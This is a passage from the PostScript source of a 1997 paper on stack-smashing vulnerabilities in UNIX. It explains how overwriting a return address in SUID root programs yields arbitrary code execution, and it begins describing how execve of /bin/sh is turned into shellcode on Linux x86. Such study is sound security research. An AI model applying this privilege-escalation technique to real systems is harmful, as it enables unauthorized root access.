ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3118 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1880 3118 M (security ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2451 3118 M (vulnerabilities ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3446 3118 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3730 3118 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3885 3118 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4132 3118 M (means ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4602 3118 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4812 3118 M (which ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5262 3118 M (all ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5472 3118 M (buffer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5924 3118 M (overflows ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6634 3118 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6882 3118 M (exploited ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2842 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1416 2842 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1703 2842 M (SUID ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2176 2842 M (root ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2528 2842 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3028 2842 M (arena. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3557 2842 M (By ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3835 2842 M (manipulating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4796 2842 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5083 2842 M (return ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5565 2842 M (address ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6149 2842 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6528 2842 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6686 2842 M (static ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7121 2842 M (string ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2566 M (containing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1957 2566 M (shell ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2319 2566 M (code, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2723 2566 M (it ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2863 2566 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3022 2566 M (possible ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3615 2566 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3792 2566 M (transform ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4489 2566 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4694 2566 M (unbounded ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5480 2566 M (string ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5907 2566 M (copy ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6278 2566 M (into ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6584 2566 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6789 2566 M (instruction ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2290 M (which can execute arbitrary code on the execution stack.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 1200 2040 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p160000 SETFONT GS n 1200 1721 M (9. Shell Code) ST GR %%PageTrailer AXPageSave restore showpage %%Page: 17 17 %%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 1200 1271 M (10) 138 X GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1338 1230 M ( Examples of shell code for many popular UNIX systems, see appendix A) 4107 X GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1489 M (_________________________) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 1200 10624 M (Stack Smashing Vulnerabilities in the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6811 10624 M (Page 9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3998 284 M (May 7, 1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 9848 M (As ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1961 9848 M (shown ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2464 9848 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2662 9848 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2934 9848 M (previous ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3576 9848 M (section, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4158 9848 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4393 9848 M (manipulating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5339 9848 M (dynamically ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6230 9848 M (allocated ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6899 9848 M (variables ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9572 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1565 9572 M (unbounded ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2363 9572 M (byte ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2709 9572 M (copy ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3092 9572 M (operations, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3887 9572 M (execution ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4593 9572 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4792 9572 M (arbitrary ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5426 9572 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5800 9572 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5971 9572 M (possible ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6576 9572 M (via ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6839 9572 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7102 9572 M (return ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9296 M (address ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1778 9296 M (blindly ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2322 9296 M (`) ST -2 0 MR (r) ST -3 0 MR (e) ST -3 0 MR (s) ST -3 0 MR (t) ST -3 0 MR (o) ST -3 0 MR (r) ST -3 0 MR (e) ST -3 0 MR (d) ST -3 0 MR (' ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3019 9296 M (following ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3739 9296 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3887 9296 M (function ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4515 9296 M (exit. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4922 9296 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5255 9296 M (ability ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5753 9296 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5956 9296 M (execute ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6538 9296 M (arbitrary ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7186 9296 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9020 M (instructions ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2046 9020 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2246 9020 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2510 9020 M (superuser ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3210 9020 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3382 9020 M (often ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3785 9020 M (used ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4151 9020 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4507 9020 M (calls ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4873 9020 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5183 9020 M (will ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5502 9020 M (allow ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5932 9020 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6150 9020 M (attacker ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6738 9020 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6928 9020 M (continue ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8744 M (executing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1940 8744 M (indefinite ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2667 8744 M (commands ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3479 8744 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3708 8744 M (root. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4108 8744 M (To ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4383 8744 M (obtain ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4888 8744 M (maximum ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 5654 8744 M (root) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 5931 8744 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6021 8744 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6574 8744 M (privilege, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7297 8744 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8468 M (interactive ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1981 8468 M (bourne ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2516 8468 M (shell ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2903 8468 M (program ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3541 8468 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3725 8468 M (spawned, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p120000 SETFONT GS n 4422 8468 M (/bin/sh) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 5122 8468 M (. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5279 8468 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5611 8468 M (bourne ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6146 8468 M (shell ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6533 8468 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6717 8468 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6864 8468 M (shell ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7251 8468 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8192 M (exists ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1656 8192 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1897 8192 M (every ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2342 8192 M (modern ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2926 8192 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3417 8192 M (system, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3997 8192 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4312 8192 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4498 8192 M (commonly ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5285 8192 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5563 8192 M (default ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6100 8192 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6638 8192 M (shell ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7027 8192 M (for ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7297 8192 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7916 M (privileged ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1961 7916 M (user. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2397 7916 M (Any ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2757 7916 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3294 7916 M (shell ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3682 7916 M (can ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3987 7916 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4218 7916 M (used ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4597 7916 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4810 7916 M (shell ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5198 7916 M (code, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5628 7916 M (however, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6317 7916 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6520 7916 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6797 7916 M (interest ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7361 7916 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7640 M (keeping this study as generic as possible, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p120000 SETFONT GS n 3975 7640 M (/bin/sh) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 4675 7640 M ( is assumed.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 7364 M (In ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1889 7364 M (order ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2283 7364 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2454 7364 M (arrange ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2996 7364 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3195 7364 M (interactive ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3939 7364 M (shell ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4295 7364 M (situation, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4951 7364 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5067 7364 M (static ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p120000 SETFONT GS n 5460 7364 M (/bin/sh) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 6160 7364 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6202 7364 M (execution ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6890 7364 M (sequence ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7088 M (must ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1592 7088 M (appear ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2097 7088 M (somewhere ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2917 7088 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3107 7088 M (memory ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3724 7088 M (so ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3933 7088 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4243 7088 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4378 7088 M (manipulated ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5261 7088 M (`return ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5776 7088 M (a) ST -3 0 MR (d) ST -3 0 MR (d) ST -4 0 MR (r) ST -4 0 MR (e) ST -4 0 MR (s) ST -4 0 MR (s) ST -4 0 MR (' ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6367 7088 M (can ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6659 7088 M (point ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7061 7088 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7251 7088 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6812 M (location. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1899 6812 M (This ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2269 6812 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2454 6812 M (accomplished ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3443 6812 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3683 6812 M (using ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4117 6812 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4348 6812 M (assembly ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5042 6812 M (language ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5716 6812 M (hexadecimal ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6631 6812 M (string ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7084 6812 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7297 6812 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6536 M (binary ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1715 6536 M (equivalent ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2493 6536 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2708 6536 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2997 6536 M (standard ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3647 6536 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3844 6536 M (function ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4484 6536 M (call: ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p120000 SETFONT GS n 4856 6536 M (execve\(name[0], ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6500 6536 M ("/bin/sh", ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6260 M (NULL\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 6260 M (. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1920 6260 M (Assembly ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2721 6260 M (language ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3456 6260 M (equivalents ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4348 6260 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4612 6260 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4987 6260 M (call ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5362 6260 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5701 6260 M (hardware ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6456 6260 M (implementation ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5984 M (dependent) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 1883 6025 M (10) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 2021 5984 M (. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2247 5984 M (Using ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2821 5984 M (debugging ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3657 5984 M (utilities, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4332 5984 M (it ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4559 5984 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4805 5984 M (possible ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5485 5984 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5749 5984 M (dissect ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6337 5984 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6546 5984 M (call ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6921 5984 M (such ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7361 5984 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p120000 SETFONT GS n 1200 5708 M (execve\(name[0], ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2845 5708 M ("/bin/sh", ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3986 5708 M (NULL\) ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 4627 5708 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4876 5708 M (breaking ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5541 5708 M (it ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5716 5708 M (down ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6168 5708 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6380 5708 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6537 5708 M (simple ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7064 5708 M (ASCII ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5432 M (assembly ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1880 5432 M (sequence, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2586 5432 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2880 5432 M (storing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3396 5432 M (it ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3542 5432 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3725 5432 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3853 5432 M (character ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4518 5432 M (array ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4915 5432 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5108 5432 M (other ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5504 5432 M (contiguous ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6287 5432 M (data ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6618 5432 M (structure. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7297 5432 M (On ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5156 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1418 5156 M (Intel ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1774 5156 M (x86 ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2074 5156 M (machine ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2689 5156 M (running ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3257 5156 M (Linux, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3747 5156 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4001 5156 M (following ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4698 5156 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4860 5156 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4985 5156 M (list ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5239 5156 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5429 5156 M (steps ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5813 5156 M (used ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6169 5156 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6349 5156 M (formulating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7186 5156 M (shell ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4880 M (code[1]:) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p110000 SETFONT GS n 1200 4374 M (1. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1450 4374 M (The null terminated string ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS n 3073 4374 M (/bin/sh) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p110000 SETFONT GS n 3654 4374 M ( exists somewhere in memory.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4197 M (2. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1450 4197 M (The address of the string ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS n 2993 4197 M (/bin/sh) ST GR 0.0000 0.0000 0.0000 1.0000 